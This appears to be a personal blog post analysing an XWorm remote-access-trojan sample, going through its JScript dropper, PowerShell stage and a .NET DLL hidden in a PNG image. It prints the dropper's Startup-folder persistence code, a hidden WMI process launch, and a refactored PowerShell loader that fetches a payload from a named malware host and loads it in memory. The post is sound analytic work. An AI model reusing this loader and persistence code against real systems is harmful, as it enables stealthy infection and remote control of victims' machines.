← ALL POSTS

Fileless .NET DLL - RAT

06.07.2026 XWORM Powershell .NET javascript Steganography
sha256 ea36d8066bdb8ffa534897822ace62cbee70c793c87a3edd6b411f666dd13f23

Overview

The malware sample is a javascript file. stage1.js

Stage 1 - javascript

The file is completely bloated, the first about 15k lines are repetitive

this.upbuilding = this.upbuilding + "orculiform";
this.upbuilding = this.upbuilding + "orculiform";
this.upbuilding = this.upbuilding + "orculiform";

Then the actual script follow, followed by again 15k lines of upbuilding.

The first block is a persistance mechanism, it copies the script to the Start Up folder.

var leptonaceanooo = new ActiveXObject("Scripting.FileSystemObject");
var preconceitlll = new ActiveXObject("WScript.Shell");
var paintress = WScript.ScriptFullName;
var startupe = preconceitlll.SpecialFolders("Startup");
var retraceable = startupe + "\\" + leptonaceanooo.GetFileName(paintress);
if (paintress.toLowerCase() !== retraceable.toLowerCase()) {
    if (!leptonaceanooo.FileExists(retraceable)) {
        leptonaceanooo.CopyFile(paintress, retraceable);
    }
}

The second block builds the next payload, again in a WScript.Shell. It builds a powershell script, the String is filled with the same filler word as before orculiform. This script gets saved in an environment variable called sexangular.

The Command gets executed by Win32_ProcessStartup.

var gulls = "powershell.exe -NoProfile -Command \"Invoke-Expression $env:sexangular\"";
var spermatia = GetObject("winmgmts:\\\\.\\root\\cimv2");
var lamellipodial = spermatia.Get("Win32_ProcessStartup");
var ajava = lamellipodial.SpawnInstance_();
ajava.ShowWindow = 0; 
var relative = spermatia.Get("Win32_Process");
var pademelon = 0;
var sepiostaire = relative.Create(gulls, null, ajava, pademelon);

Stage 2 - Powershell

This is a refactored version of the script that is built by stage1.js.

$url = "http://filezox.xyz/common/axis/msi.png"

$webclient = New-Object Net.WebClient; 
$webclient.Headers.Add('User-Agent', 'Mozilla/5.0'); 
$data = $webclient.DownloadData($url); 

$data_text = [Text.Encoding]::UTF8.GetString($data); 
$starter = 'IN-'; 
$ender = '-in1'; 

$positions_starter = $data_text.IndexOf($starter); 
$positions_ender = $data_text.LastIndexOf($ender); 

if ($positions_starter -eq -1 -or $positions_ender -eq -1) { return }; 


$payload = $data_text.Substring($data_text.IndexOf($starter) + $starter.Length, $positions_ender - ($data_text.IndexOf($starter) + $starter.Length)); 

$payload_stage_2 = $payload.Replace('#', 'A').ToCharArray(); 
[Array]::Reverse($payload_stage_2); 
$payload_stage_3 = $payload_stage_2 -join ''; 
[byte[]]$payload_bytes = [Convert]::FromBase64String($payload_stage_3); 

$loaded_net = [AppDomain]::CurrentDomain.Load($payload_bytes); 
$opportunists = ('zUJY9RTts4BGBmmkGvAs6lf/lU6hHkl8VTwunxwQLNPF+kzxaQ6wMah3eb0qhzapyXEAQGv6zwFUeRLc8bMwHQ==', '', 'ZdThMO60Xg9mo+fDsi182pO3foexO/YCMXYRFgAsJPblR29zbtPZ5nuyNyuwxU14', 'htDAshoP265zn8kPtt5Qm6FMQaBkXj3oA1Nmv3067CQ=', 'zyDSSx7fmacj2tCItdomd1bTcxoE0LjPZs5qQ8JKhsY=', '', 'MPZsl/YJAZ0NF4H/wqV0TtUGmVgl4Dx45SJ42YhzAVo=', '', '', 'YwrBnpOohLq7Tca09IonQb/Q1tDM2T3C8bGFpQyyVVnz0XFWqH5QbMSX2YPbeUrd', 'tRoIg43JTMyImrFRzPggsZOd08IuG62f+XLVQDwB3n8=', 'vT8RkvRlLxFVrM684rQmjk1w/GOESIKFm8RQHKJy7fw=', 'wKR9ZFTVOmOott+6IPaXb1hWbkwxNcir50CPhu19ITo=', '', 'TjypYV7L6kva/LonfakauusX4th0sxu73EN7/Q4gR/4=', 'U9MVhnToEJFuNv0IlC93+cgSXREk+mkKmkSx1Eg4s64=', '', '', ''); 
try { 
    $some_type = $loaded_net.GetType('OtnmpxnddVnptbN.mpxnddVn'); 
    $some_method = $some_type.GetMethod('Otnmpxn'); 
    $some_method.Invoke($null, [object[]]$opportunists) 
}catch {}

It downloads an image that contains hidden data. This data is contained in a section marked by a IN- marker and a -in1 marker. It loads these bytes and does some replace and reverse actions on them. In the end the binary data is loaded as a .NET Dll into Domain, without ever beeing on disk as a dll File.

hidden image

I wrote a small Python script to get the dll from the image.

import base64

input_file = "msi.png"
output_file = "out.dll"

start_marker = b"IN-"
end_marker = b"-in1"

with open(input_file, "rb") as f:
    data = f.read()

if start_marker not in data or end_marker not in data:
    print("Error: Markers not found.")
    exit(-1)

start_pos = data.index(start_marker) + len(start_marker)
end_pos = data.rindex(end_marker)  

payload = data[start_pos:end_pos]

payload_str = payload.decode("utf-8", errors="ignore")

payload_str = payload_str.replace("#", "A")

payload_reversed = payload_str[::-1]

try:
    payload_bytes = base64.b64decode(payload_reversed)
    
    with open(output_file, "wb") as f:
        f.write(payload_bytes)
    print("Decoding successful. Output saved to:", output_file)
    
except Exception as e:
    print(f"Error during Base64 decoding: {e}")
out.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

This Dll marks the third stage of this malware sample. The Powershell script loads a class (OtnmpxnddVnptbN.mpxnddVn) from the Dll and executes a Method (Otnmpxn). The method is invoked with a list of encoded arguments.

Stage 3 - .NET Dll

I started to analyse the dll file, it is heavily obfuscated, all the Class names, methods and variables have names, made of characters from the Unicode Private Use Area, which made analysis a nightmare. After some level of deobfuscation with de4dot i was still left with thousand of nested methods and classes.

The most interesting method is of course the one invoked by the PowerShell script.

using System.Reflection;

namespace OtnmpxnddVnptbN;

public sealed class mpxnddVn
{
    public const string ChaveSecretaGlobal = "tQaCQYKIo1FdSsme";

    [Obfuscation(Exclude = true, Feature = "preserve-name")]
    public static void Otnmpxn(string kxj, string vmw, string zep, string qst, string lnb, string rfd, string tyg, string pxl, string mwb, string crv, string jtk, string hfd, string nsq, string bvc, string xrp, string lkd, string gfw, string mpt, string ycz)
    {
        kxj = Delegate224.smethod_0(kxj, Class109.smethod_0(7545));
        vmw = Delegate224.smethod_0(vmw, Class109.smethod_0(7545));
        zep = Delegate224.smethod_0(zep, Class109.smethod_0(7545));
        qst = Delegate224.smethod_0(qst, Class109.smethod_0(7545));
        lnb = Delegate224.smethod_0(lnb, Class109.smethod_0(7545));
        rfd = Delegate224.smethod_0(rfd, Class109.smethod_0(7545));
        tyg = Delegate224.smethod_0(tyg, Class109.smethod_0(7545));
        pxl = Delegate224.smethod_0(pxl, Class109.smethod_0(7545));
        mwb = Delegate224.smethod_0(mwb, Class109.smethod_0(7545));
        crv = Delegate224.smethod_0(crv, Class109.smethod_0(7545));
        jtk = Delegate224.smethod_0(jtk, Class109.smethod_0(7545));
        hfd = Delegate224.smethod_0(hfd, Class109.smethod_0(7545));
        nsq = Delegate224.smethod_0(nsq, Class109.smethod_0(7545));
        bvc = Delegate224.smethod_0(bvc, Class109.smethod_0(7545));
        xrp = Delegate224.smethod_0(xrp, Class109.smethod_0(7545));
        lkd = Delegate224.smethod_0(lkd, Class109.smethod_0(7545));
        gfw = Delegate224.smethod_0(gfw, Class109.smethod_0(7545));
        mpt = Delegate224.smethod_0(mpt, Class109.smethod_0(7545));
        ycz = Delegate224.smethod_0(ycz, Class109.smethod_0(7545));
        if (Delegate225.smethod_0(pxl, Class109.smethod_0(7343)))
        {
            Delegate226.smethod_0(nsq, mwb, crv, jtk, hfd, xrp);
        }
        if (Delegate225.smethod_0(bvc, Class109.smethod_0(7343)))
        {
            Delegate227.smethod_0(nsq, mwb, crv, jtk, hfd, xrp);
        }
        if (Delegate225.smethod_0(vmw, Class109.smethod_0(7343)))
        {
            Delegate228.smethod_0(zep, qst, hfd);
        }
        if (Delegate225.smethod_0(lkd, Class109.smethod_0(7343)))
        {
            Delegate229.smethod_0();
        }
        if ((!Delegate225.smethod_0(gfw, Class109.smethod_0(7343))) ? ((byte)Class111.smethod_0(0) != 0) : Delegate230.smethod_0())
        {
            Delegate231.smethod_0();
        }
        Delegate232.smethod_0(kxj, rfd, tyg, lnb);
    }
}

I tried to unravel the function calls.

Class109.smethod_0

using System;
using System.Collections;

public static string smethod_0(int int_0)
{
    return (string)((Hashtable)AppDomain.CurrentDomain.GetData(string_0))[int_0];
}

But got stuck at this string_0.

private static string string_0;

Even tough i couldn’t deciphere the code or the arguments that the powershell script invokes, i think it’s some encoded IP adresses and feature flags to setup this stage.

Because i couldn’t dig any deeper in to the dll, i resorted to a dynamic sandbox.

The Analysis showed that the DLL indeed makes a request to a C2 Server after disabeling AV.

AnyRun also flagged the Process as XWORM and recogniced the C2 server.

Conclusion

Even though this analysis was frustrating at times, when I couldn’t work my way through the obfuscation, it was fun and I think I was able to learn some things about evasion and of course a lot about anti-analysis techniques.

Thank you, Lucas